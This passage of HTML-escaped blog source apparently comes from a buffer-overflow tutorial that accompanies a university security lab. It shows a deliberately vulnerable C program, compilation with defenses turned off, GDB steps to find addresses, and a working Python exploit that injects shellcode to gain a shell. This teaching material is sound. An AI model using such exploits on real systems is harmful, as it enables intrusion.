32-bit one. Specifically, you issue &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;syscall&lt;/code&gt; instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;int 0x80&lt;/code&gt;,
and arguments are passed in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%rdi&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%rsi&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%rdx&lt;/code&gt;, etc., just like
for all other functions. That’s an easy fix.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Second, because different registers are used for arguments, you’ll
also have to switch up your temporary registers (like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%esi&lt;/code&gt;) so you
don’t overwrite a value you need later when you’re setting an
argument.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Third, system call numbers are different in 64-bit linux, and luckily
neither the code for execve nor exit contain zero bytes, so you can
just use:&lt;/p&gt;

    &lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;movb    $SYS_unlink,%al
movb    $SYS_exit,%al
&lt;/code&gt;&lt;/pre&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You &lt;em&gt;may&lt;/em&gt; also find that you also need to update registers to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;r&lt;/code&gt;
variety (signifying an 8-byte register instead of a 4-byte &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e&lt;/code&gt;
register), and replace the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;l&lt;/code&gt; operator suffix with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;q&lt;/code&gt; suffix to
indicate that the operator is working with 64-bit arguments. A
fully-functional 64-bit shell code for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve&lt;/code&gt; is given in &lt;a href=&quot;/blog/smashing-the-stack-21st-century/#appendix-a-64-bit-execve-shell-code&quot;&gt;Appendix
A&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;To produce just the bytes of your shell code from a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.S&lt;/code&gt; assembly file,
run:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;cc &lt;span class=&quot;nt&quot;&gt;-m64&lt;/span&gt;   &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; shellcode.o shellcode.S
&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;objcopy &lt;span class=&quot;nt&quot;&gt;-S&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; binary &lt;span class=&quot;nt&quot;&gt;-j&lt;/span&gt; .text shellcode.o shellcode.bin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;writing-an-exploit&quot;&gt;Writing an Exploit&lt;/h1&gt;

&lt;p&gt;With that background, we’re now ready to execute our first attack against
a real program. We’ll make our C program a little more sophisticated to
make the attack less obscure. Specifically, the program now (supposedly)
prints the first 128 characters of each input it gets:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;first128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;STDIN_FILENO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;first128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We then compile (see &lt;a href=&quot;/blog/smashing-the-stack-21st-century/#disabling-modern-defenses&quot;&gt;Disabling Modern Defenses&lt;/a&gt; for why we do it this
way):&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;gcc &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-fno-stack-protector&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-z&lt;/span&gt; execstack vulnerable.c &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; vulnerable &lt;span class=&quot;nt&quot;&gt;-D_FORTIFY_SOURCE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We now need to construct the right input to that program so that we
overflow &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer&lt;/code&gt;. In particular, we need to know what to set the return
address to, and how many bytes to write out before we start writing the
return address. To find these, we’ll use GDB, a really handy tool for
debugging programs at a low level. First, let’s start our vulnerable
program:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;env&lt;/span&gt; - setarch &lt;span class=&quot;nt&quot;&gt;-R&lt;/span&gt; ./vulnerable
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It’s now sitting there patiently waiting for input. Notice that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;env
-&lt;/code&gt; has to be there, because the &lt;a href=&quot;https://wiki.archlinux.org/index.php/Environment_Variables&quot;&gt;environment variables&lt;/a&gt; are inserted
into the program’s address space by the kernel when the program starts,
and that shifts all of the addresses around, preventing our attack from
working reliably! &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;env -&lt;/code&gt; wipes the environment clean so the addresses
stay the same. See &lt;a href=&quot;/blog/smashing-the-stack-21st-century/#disabling-modern-defenses&quot;&gt;Disabling Modern Defenses&lt;/a&gt; for why we need &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setarch
-R&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In another terminal, start up GDB with:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;gdb &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;pgrep vulnerable&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This will find the process ID of the program named “vulnerable”, and
attach the debugger to it. You’re then greeted by a prompt that lets you
input commands that let you affect and inspect the running program. GDB
supports &lt;em&gt;a lot&lt;/em&gt; of commands, but we’ll stick to the basics here. First,
we set a &lt;em&gt;breakpoint&lt;/em&gt; at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;first128&lt;/code&gt; function, and then type
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;continue&lt;/code&gt; to let the program continue executing.&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;go&quot;&gt;(gdb) b first128
Breakpoint 1 at 0x55555555516b: file x.c, line 7.
(gdb) c
Continuing.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Whenever &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;first128&lt;/code&gt; is called, GDB will pause the program and give us
a prompt where we can decide what to do next. Try typing some input to
the waiting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vulnerable&lt;/code&gt; program and press enter.&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;Breakpoint 1, first128 (str=0x555555558060 &amp;lt;input&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;x&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at x.c:7
&lt;span class=&quot;gp&quot;&gt;7               strcpy(buffer, str);&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;go&quot;&gt;(gdb)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The first thing we need is the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer&lt;/code&gt; so we know what to
set the return address to:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;go&quot;&gt;(gdb) print &amp;amp;buffer[0]
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;1 &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x7fffffffece0 &lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Great! Next, we need the address of the return value so we can figure
out how many bytes of input we need to provide until we reach it:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;go&quot;&gt;(gdb) info frame
Stack level 0, frame at 0x7fffffffed70:
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt; rip = 0x55555555516b in first128 (x.c:7);&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;saved rip &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x5555555551ad
&lt;span class=&quot;go&quot;&gt; called by frame at 0x7fffffffed90
 source language c.
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt; Arglist at 0x7fffffffed60, args: str=0x555555558060 &amp;lt;input&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;x&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt; Locals at 0x7fffffffed60, Previous frame&apos;s sp is 0x7fffffffed70
 Saved registers:
  rbp at 0x7fffffffed60, rip at 0x7fffffffed68
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Notice how it says &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rip at 0x7fffffffed68&lt;/code&gt;? That’s the address of the
stored return address!&lt;/p&gt;

&lt;p&gt;Now we have everything we need to write out exploit string. Writing it
out by hand though would be a little painful, so let’s write a little
Python program to help us out:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;addr_buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x7fffffffece0&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;addr_retaddr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x7fffffffed68&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# We want buffer to first hold the shellcode
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellfile&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;shellcode.bin&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;rb&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Then we want to pad up until the return address
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;A&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;addr_retaddr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;addr_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Then we write in the address of the shellcode.
# struct.pack(&quot;&amp;lt;Q&quot;) writes out 64-bit integers in little-endian.
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;lt;Q&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;addr_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# write the shell code out to the waiting vulnerable program
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;fdopen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;fileno&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;wb&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;fp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;fp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;flush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# forward user&apos;s input to the underlying program
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;read1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;fp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;fp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;flush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;KeyboardInterrupt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This program reads in the binary shell code, places it at the start
of the input, pads up until where the return address is stored on the
stack, and then puts the address of the buffer itself there. Then it
sends that payload to standard output so that we can pipe it to the
vulnerable program:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;./exploit.py | &lt;span class=&quot;nb&quot;&gt;env&lt;/span&gt; - setarch &lt;span class=&quot;nt&quot;&gt;-R&lt;/span&gt; ./vulnerable
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Hmm, that looks awfully empty. Is it working? Try typing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ls&lt;/code&gt;… \o/&lt;/p&gt;

&lt;p&gt;If you want to try your hands at writing an exploit yourself, I’d
recommend giving MIT’s 6.858 Computer Security’s &lt;a href=&quot;http://css.csail.mit.edu/6.858/2019/labs/lab1.html&quot;&gt;buffer overflow lab&lt;/a&gt; a
go. This text was written in part to accompany that lab, so you should
be well equipped to handle that now. Good luck!&lt;/p&gt;

&lt;h1 id=&quot;64-bit-considerations&quot;&gt;64-bit Considerations&lt;/h1&gt;

&lt;p&gt;There are two primary difference between buffer overflows in 32-bit and
64-bit mode that you will have to be aware of, and that &lt;em&gt;will&lt;/em&gt; cause you
issues.&lt;/p&gt;

&lt;h2 id=&quot;zeroes-in-addresses&quot;&gt;Zeroes in addresses&lt;/h2&gt;

&lt;p&gt;First, most 64-bit addresses have 0x00 in their most significant byte,
which means we often can’t write them out directly; operations like
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcat&lt;/code&gt; (the common offenders) consider &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\0&lt;/code&gt; the end of a
string, and will thus stop writing at that point.&lt;/p&gt;

&lt;p&gt;The good news is that, in little-endian, the most significant byte comes
last (that is, at the higher memory address), so often this won’t
matter. The terminating &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\0&lt;/code&gt; will also be copied over, which might be
all you need. In &lt;em&gt;some&lt;/em&gt; lucky cases the place we’re trying to overwrite
&lt;em&gt;already&lt;/em&gt; has the required number of 0x00, so stopping early is fine (as
long as the application doesn’t append stuff itself).&lt;/p&gt;

&lt;p&gt;If you need to write anything more &lt;em&gt;after&lt;/em&gt; the address though, or the
address happens to be a low one where multiple leading bytes are 0x00
whereas they weren’t before in the location you’re overwriting, you’ll
need to find another approach.&lt;/p&gt;

&lt;p&gt;This wasn’t as much of an issue on 32-bit systems. While an address
&lt;em&gt;could&lt;/em&gt; contain 0x00 by accident, it was relatively less likely. On
64-bit systems, this happens for pretty much &lt;em&gt;every&lt;/em&gt; address!&lt;/p&gt;

&lt;h2 id=&quot;arguments-in-registers&quot;&gt;Arguments in Registers&lt;/h2&gt;

&lt;p&gt;On 32-bit systems (i386 in particular), the calling convention for
functions is a bit of a &lt;a href=&quot;https://en.wikipedia.org/wiki/Calling_convention&quot;&gt;free-for-all&lt;/a&gt;. The most common one is
&lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions#cdecl&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cdecl&lt;/code&gt;&lt;/a&gt;, in which arguments to functions are passed &lt;em&gt;on the stack&lt;/em&gt;.
Specifically, the arguments are pushed onto the stack just before the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call&lt;/code&gt; instruction in right-to-left order.&lt;/p&gt;

&lt;p&gt;This had the really neat side-effect that you could manipulate a
function’s arguments simply by changing stuff that was on the stack. For
example, one neat way to work around W^X (see &lt;a href=&quot;/blog/smashing-the-stack-21st-century/#disabling-modern-defenses&quot;&gt;Disabling Modern
Defenses&lt;/a&gt;) was to do a “&lt;a href=&quot;https://en.wikipedia.org/wiki/Return-to-libc_attack&quot;&gt;return to libc&lt;/a&gt;” attack. Instead of overwriting
